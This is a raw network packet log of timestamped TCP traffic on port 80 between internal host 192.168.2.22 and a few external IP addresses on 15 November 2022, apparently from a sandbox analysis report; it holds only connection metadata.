Nov 15, 2022 12:43:53.613023043 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613039970 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613055944 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613056898 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613074064 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613075018 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613090038 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613106966 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613122940 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613138914 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613147974 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613156080 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613171101 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613185883 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613198042 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613210917 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613210917 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613214016 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613238096 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613245010 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613260984 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613267899 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613279104 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613293886 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613295078 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613311052 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613312006 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613327026 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613343954 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613349915 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613373995 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613385916 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.613980055 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.841939926 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842010975 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842093945 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842118025 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842139959 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842147112 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842147112 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842180014 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842190027 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842220068 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842221022 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842261076 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842264891 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842299938 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842303038 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842339993 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842341900 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842379093 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842386007 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842417002 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842420101 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842459917 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842461109 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842499018 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842499971 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842539072 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842540026 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842576981 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842578888 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842617035 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842621088 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842658043 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842658997 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842698097 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842699051 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842737913 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842741966 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842780113 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842783928 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842820883 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842823029 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842860937 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842864037 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842904091 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.842938900 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842978001 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.842983961 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843007088 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843018055 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843017101 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843056917 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843055010 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843096972 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843099117 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843137026 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843139887 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843178034 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843179941 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843219042 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843219995 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843256950 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843257904 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843305111 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843307972 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843343973 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843344927 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843380928 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843383074 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843420982 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843421936 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843458891 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843461990 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843499899 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843502045 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843539953 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843540907 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843580008 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843592882 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843616009 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843617916 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843657017 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843657970 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843693972 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843696117 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843734026 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843734026 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843770981 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.843774080 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.843812943 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.862783909 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070393085 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070465088 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070486069 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070502996 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070524931 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070547104 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070568085 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070588112 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070610046 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070621967 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070631981 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070652962 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070653915 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070653915 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070672989 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070673943 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070683956 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070696115 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070707083 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070717096 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070743084 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070755005 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070755959 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070784092 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070790052 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070811987 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070816994 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070841074 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070847034 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070868015 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070878029 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070904016 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070936918 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070966959 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070986032 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.070993900 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.070996046 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.071021080 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.071028948 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.071048975 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.071054935 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.071074963 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.071085930 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.071104050 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.071110964 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.071130991 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.071136951 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.071158886 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.071166039 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.071194887 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089261055 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089294910 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089313030 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089330912 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089349031 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089365959 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089382887 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089401960 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089418888 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089416027 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089416027 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089416027 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089437962 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089454889 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089473009 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089484930 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089484930 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089484930 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089484930 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089489937 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089508057 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089510918 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089525938 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089526892 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089545012 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089545012 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089561939 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089561939 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089576960 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089581013 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089595079 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089611053 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089615107 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089631081 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089648008 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089653015 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089665890 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.089674950 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089674950 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.089695930 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.140680075 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.182312012 CET	80	49173	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:54.182476044 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:54.297641993 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.297704935 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.297749043 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.297780991 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.297808886 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.297806978 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.297840118 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.297842979 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.297843933 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.297843933 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.297880888 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.297889948 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.297916889 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.297918081 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.297950029 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.297957897 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.297991991 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.297993898 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298018932 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298024893 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298047066 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298054934 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298074961 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298079967 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298101902 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298108101 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298131943 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298136950 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298165083 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298167944 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298202991 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298208952 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298237085 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298239946 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298264980 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298269033 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298293114 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298300028 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298324108 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298327923 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298356056 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298358917 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298387051 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298388958 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298423052 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298425913 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298459053 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298464060 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298497915 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298499107 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298532963 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298541069 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298579931 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298583031 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298614025 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298636913 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298671007 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298679113 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298711061 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298717022 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298747063 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298748970 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298779011 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298785925 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298814058 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298815966 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298840046 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298844099 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298871994 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298907042 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298945904 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.298957109 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.298993111 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299001932 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299035072 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299055099 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299108028 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299108982 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299146891 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299148083 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299185991 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299191952 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299226046 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299236059 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299263954 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299274921 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299290895 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299303055 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299319029 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299324036 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299348116 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299352884 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299375057 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299381018 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299401999 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299407959 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299433947 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299436092 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299460888 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299464941 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299488068 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299494028 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299515009 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299520016 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299541950 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299544096 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299570084 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299572945 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299597025 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299599886 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299637079 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299638987 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299665928 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299673080 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299693108 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299700022 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299720049 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299726963 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299746990 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299753904 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299774885 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299777031 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299803019 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299806118 CET	49179	80	192.168.2.22	47.92.133.65
